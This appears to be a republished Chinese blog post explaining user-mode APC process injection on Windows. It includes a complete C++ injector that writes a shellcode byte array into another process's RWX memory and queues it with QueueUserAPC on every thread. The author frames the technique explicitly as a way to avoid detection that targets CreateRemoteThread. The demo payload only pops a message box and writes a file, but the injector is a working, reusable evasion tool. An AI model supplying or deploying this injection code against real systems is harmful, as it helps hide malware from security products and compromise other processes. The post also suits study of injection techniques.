windows:shellcode 代码远程APC注入和加载

Posted 第七子007

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了windows:shellcode 代码远程APC注入和加载相关的知识,希望对你有一定的参考价值。

       https://www.cnblogs.com/theseventhson/p/13197776.html  上一章介绍了通用的shellcode加载器,这个加载器自己调用virtualAlloc分配空间、复制shellcode、执行shellcode,所有操作都在加载器的空间,隐蔽性不强,容易被发现。如果能在其他进程空间把shellcode注入,然后执行了? 可以达到金蝉脱壳的目的;那么该怎么做了?

       熟悉win32编程的同学第一时间可能就想到了createRemoteThread+virtualAllocEx:在目标进程创建一个线程,把shellcode复制到目标进程后执行。这么做技术上可行,但这两个API实在是太出名了(createRemoteThread号称是windows的万恶之源,早期很多病毒、木马都利用了这个API),早就被各大厂商盯死,可能达不到预期;今天介绍另一种远程代码注入的方式:APC注入

       1、先简单介绍一下APC

  •     APC本质:线程在执行的时候如果自身不主动跳转去其他地方(放弃CPU控制权),就会一直占有CPU,那么怎么杀死线程了?所以有了APC机制:线程执行的时候定时检查是否有另外需要执行的代码,如果有就去执行;该代码(函数),就是APC。再直白一点:APC是个队列,里面存储了可执行的代码;线程在正常执行的时候如果满足某些特定的条件(比如alterable,这个很重要,后续会详细介绍),会去APC队列检查,一旦发现不为空,就会取出队列的代码执行,直到执行完毕为止;通过这种方式,可以让3环的死循环线程无法100%占用CPU资源,其他线程才能正常执行;
  •     刚才说到alertable状态,这个怎么理解? 其实就是线程暂时没有重要的事情要做,就叫做这个状态。APC函数一般不会去干扰(中断)线程的运行。一个线程附带着两个APC队列(用户APC、系统APC),也就相当于这两个队列的APC函数都是由“线程本身”来储备调用的(APC函数就相当于奥运会比赛上的预备选手),只有当线程处于“可警告的线程等待状态”才会去调用APC函数(比赛时只有主将无法上场时,预备选手才会出现)
  • 用户模式下,可以调用函数SleepEx、SignalObjectAndWait、WaitForSingleObjectEx、WaitForMultipleObjectsEx、MsgWaitForMultipleObjectsEx都可以使目标线程处于alertable等待状态(无重要事情要做),从而让用户模式APCs执行,这点也很重要,后面的实验会用到这一特性;

  2、 APC代码注入核心步骤介绍

       (1)APC和线程相关的,既然注入APC,势必要找到目标线程。线程又属于进程,那么就要先遍历进程,核心代码如下:先遍历进程,根据进程名(这里我自己单独写了一个简单的程序,没用explorer来测试,原因后面再解释)找到目标进程,然后打开进程、分配空间、写入shellcode;

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    HANDLE victimProcess = NULL;
    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
    THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
    std::vector<DWORD> threadIds;
    SIZE_T shellSize = sizeof(buf);
    HANDLE threadHandle = NULL;

    if (Process32First(snapshot, &processEntry)) {
        while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != 0) {
            Process32Next(snapshot, &processEntry);
        }
    }
    victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
    LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
    WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
    printf("shellAddress is: %p\\n", shellAddress);

      (2)接着遍历进程的线程,调用最核心的QueueUserAPC函数,将shellcode注入目标线程

if (Thread32First(snapshot, &threadEntry)) {
        do {
            if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
                threadIds.push_back(threadEntry.th32ThreadID);
            }
        } while (Thread32Next(snapshot, &threadEntry));
    }

    for (DWORD threadId : threadIds) {
        threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
        QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
        printf("apcRoutine is: %p------>threadId:%d\\n", apcRoutine, threadId);
        Sleep(1000 * 2);
    }

  (3)注入完成后就等待shellcode被调用了。这段代码是借(chao)鉴(xi)https://ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection 这里的,原作者刚开始用的explorer.exe,我也是这么做的,代码运行后,迟迟不见效果,于时打开process hacker,发现shellcode已经注入目标进程空间,如下:

       

   并且地址的属性是RWX,这里没任何问题,shellcode迟迟未被执行的原因只能是线程状态不是alterable了,这里没办法,只能继续等;process hacker提供了查看线程状态的功能,等了许久还是未等到有线程的状态变为alertable,一直看不到效果,无奈只能放弃这种方式;

         

   (4)既然等不到,就自己构造,很简单,如下:核心是调用sleepEX函数,让其休眠10分钟,第二个参数是TRUE,表明是alertable 的,这样一来只要APC队列有代码,main函数就会执行

#include <windows.h>
#include <stdio.h>

int main() 
{
    printf("enter alertable statues...............");
    SleepEx(1000*600,TRUE);
}

    执行后查看发现只有这一个线程的,应该是main:

        

    这次终于成功执行了自己的shellcode:能看到messagebox的弹窗:

   

        目标程序所在的目录下也生成了1.txt文本;

   

   3、实验总结:

      (1)上面shellcode都是手动复制到代码内,写死了不说,每次复制shellcode还比较麻烦,当时我想着写代码直接从磁盘读(最初的加载器不就是这么干的么?),如下:

HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        printf("Open  File Error!%d\\n", GetLastError());
        return -1;
    }
    DWORD dwSize;
    dwSize = GetFileSize(hFile, NULL);

    LPVOID buf = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (buf == NULL)
    {
        printf("VirtualAlloc error:%d\\n", GetLastError());
        CloseHandle(hFile);
        return -1;

    }
    DWORD dwRead;
    ReadFile(hFile, buf, dwSize, &dwRead, 0);
    printf("\\n%s File read length:%d \\n", argv[1], dwRead);
    printf("buf length=%d \\n", sizeof(buf));//shellcode里面有00,导致buf被阶段,长度只有4;

  查看目标进程内存时发现并未复制完全,罪魁祸首是中间遇到00,被截断,buf读取的长度只有4;

  

   各位读者有更好的解决办法还请不吝赐教。

  (2)完整的代码:

#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>

int main()
{
    unsigned char buf[] = "\\xE9\\x8B\\x01\\x00\\x00\\xCC\\xCC\\xCC\\xCC\\xCC\\xCC\\xCC\\xCC\\xCC\\xCC\\xCC\\x64\\xA1\\x30\\x00\\x00\\x00\\x85\\xC0\\x78\\x0D\\x8B\\x40\\x0C\\x8B\\x40\\x14\\x8B\\x00\\x8B\\x00\\x8B\\x40\\x10\\xC3\\xCC\\xCC\\xCC\\xCC\\xCC\\xCC\\xCC\\xCC\\x55\\x8B\\xEC\\x83\\xEC\\x40\\x53\\x56\\x8B\\xD9\\x57\\x89\\x5D\\xF4\\xE8\\xCD\\xFF\\xFF\\xFF\\x8B\\xF0\\x33\\xFF\\x8B\\x56\\x3C\\x39\\x7C\\x32\\x7C\\x75\\x07\\x33\\xFF\\xE9\\x9C\\x00\\x00\\x00\\x8B\\x44\\x32\\x78\\x85\\xC0\\x74\\xF1\\x8B\\x54\\x30\\x18\\x85\\xD2\\x74\\xE9\\x8B\\x4C\\x30\\x24\\x8B\\x5C\\x30\\x20\\x03\\xCE\\x8B\\x44\\x30\\x1C\\x03\\xDE\\x03\\xC6\\x89\\x4D\\xFC\\x33\\xC9\\x89\\x45\\xF8\\x4A\\x8B\\x04\\x8B\\x03\\xC6\\x80\\x38\\x47\\x75\\x4E\\x80\\x78\\x01\\x65\\x75\\x48\\x80\\x78\\x02\\x74\\x75\\x42\\x80\\x78\\x03\\x50\\x75\\x3C\\x80\\x78\\x04\\x72\\x75\\x36\\x80\\x78\\x05\\x6F\\x75\\x30\\x80\\x78\\x06\\x63\\x75\\x2A\\x80\\x78\\x07\\x41\\x75\\x24\\x80\\x78\\x08\\x64\\x75\\x1E\\x80\\x78\\x09\\x64\\x75\\x18\\x80\\x78\\x0A\\x72\\x75\\x12\\x80\\x78\\x0B\\x65\\x75\\x0C\\x80\\x78\\x0C\\x73\\x75\\x06\\x80\\x78\\x0D\\x73\\x74\\x07\\x41\\x3B\\xCA\\x76\\xA3\\xEB\\x0F\\x8B\\x45\\xFC\\x8B\\x7D\\xF8\\x0F\\xB7\\x04\\x48\\x8B\\x3C\\x87\\x03\\xFE\\x8B\\x5D\\xF4\\x8D\\x45\\xC0\\x89\\x3B\\x50\\xC7\\x45\\xC0\\x4C\\x6F\\x61\\x64\\xC7\\x45\\xC4\\x4C\\x69\\x62\\x72\\xC7\\x45\\xC8\\x61\\x72\\x79\\x41\\xC6\\x45\\xCC\\x00\\xE8\\xF9\\xFE\\xFF\\xFF\\x50\\x8B\\x03\\xFF\\xD0\\x8D\\x4D\\xDC\\x89\\x43\\x04\\x51\\x8D\\x4D\\xE8\\xC7\\x45\\xE8\\x55\\x73\\x65\\x72\\x51\\xC7\\x45\\xEC\\x33\\x32\\x2E\\x64\\x66\\xC7\\x45\\xF0\\x6C\\x6C\\xC6\\x45\\xF2\\x00\\xC7\\x45\\xDC\\x4D\\x65\\x73\\x73\\xC7\\x45\\xE0\\x61\\x67\\x65\\x42\\xC7\\x45\\xE4\\x6F\\x78\\x41\\x00\\xFF\\xD0\\x50\\x8B\\x03\\xFF\\xD0\\x89\\x43\\x08\\x8D\\x45\\xD0\\x50\\xC7\\x45\\xD0\\x43\\x72\\x65\\x61\\xC7\\x45\\xD4\\x74\\x65\\x46\\x69\\xC7\\x45\\xD8\\x6C\\x65\\x41\\x00\\xE8\\x94\\xFE\\xFF\\xFF\\x50\\x8B\\x03\\xFF\\xD0\\x5F\\x5E\\x89\\x43\\x0C\\x5B\\x8B\\xE5\\x5D\\xC3\\xCC\\xCC\\xCC\\xCC\\xCC\\x55\\x8B\\xEC\\x83\\xEC\\x24\\x8D\\x4D\\xDC\\xE8\\x92\\xFE\\xFF\\xFF\\x6A\\x00\\x8D\\x45\\xFC\\xC7\\x45\\xEC\\x48\\x65\\x6C\\x6C\\x50\\x8D\\x45\\xEC\\x66\\xC7\\x45\\xF0\\x6F\\x21\\x50\\x6A\\x00\\xC6\\x45\\xF2\\x00\\xC7\\x45\\xFC\\x54\\x69\\x70\\x00\\xFF\\x55\\xE4\\x6A\\x00\\x6A\\x00\\x6A\\x02\\x6A\\x00\\x6A\\x00\\x68\\x00\\x00\\x00\\x40\\x8D\\x45\\xF4\\xC7\\x45\\xF4\\x31\\x2E\\x74\\x78\\x50\\x66\\xC7\\x45\\xF8\\x74\\x00\\xFF\\x55\\xE8\\x8B\\xE5\\x5D\\xC3\\xCC\\xCC\\xCC\\xCC";

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    HANDLE victimProcess = NULL;
    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
    THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
    std::vector<DWORD> threadIds;
    SIZE_T shellSize = sizeof(buf);
    HANDLE threadHandle = NULL;

    if (Process32First(snapshot, &processEntry)) {
        while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != 0) {
            Process32Next(snapshot, &processEntry);
        }
    }

    victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
    LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
    WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
    printf("shellAddress is: %p\\n", shellAddress);

    if (Thread32First(snapshot, &threadEntry)) {
        do {
            if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
                threadIds.push_back(threadEntry.th32ThreadID);
            }
        } while (Thread32Next(snapshot, &threadEntry));
    }

    for (DWORD threadId : threadIds) {
        threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
        QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
        printf("apcRoutine is: %p------>threadId:%d\\n", apcRoutine, threadId);
        Sleep(1000 * 2);
    }

    return 0;
}

  (3)和APC对应另一个重要的概念是DPC,这里简单做个总结对比:

APC执行过程:

 

以上是关于windows:shellcode 代码远程APC注入和加载的主要内容,如果未能解决你的问题,请参考以下文章

[POC分享]Windows/x64 -远程绑定TCP键盘记录器 Shellcode生成器

远程线程注入shellcode笔记

用 php 远程登录。控制远程 APC PDU

windows:shellcode 原理

Windows 下 ShellCode 编写初步

使用netcat进行反弹链接的shellcode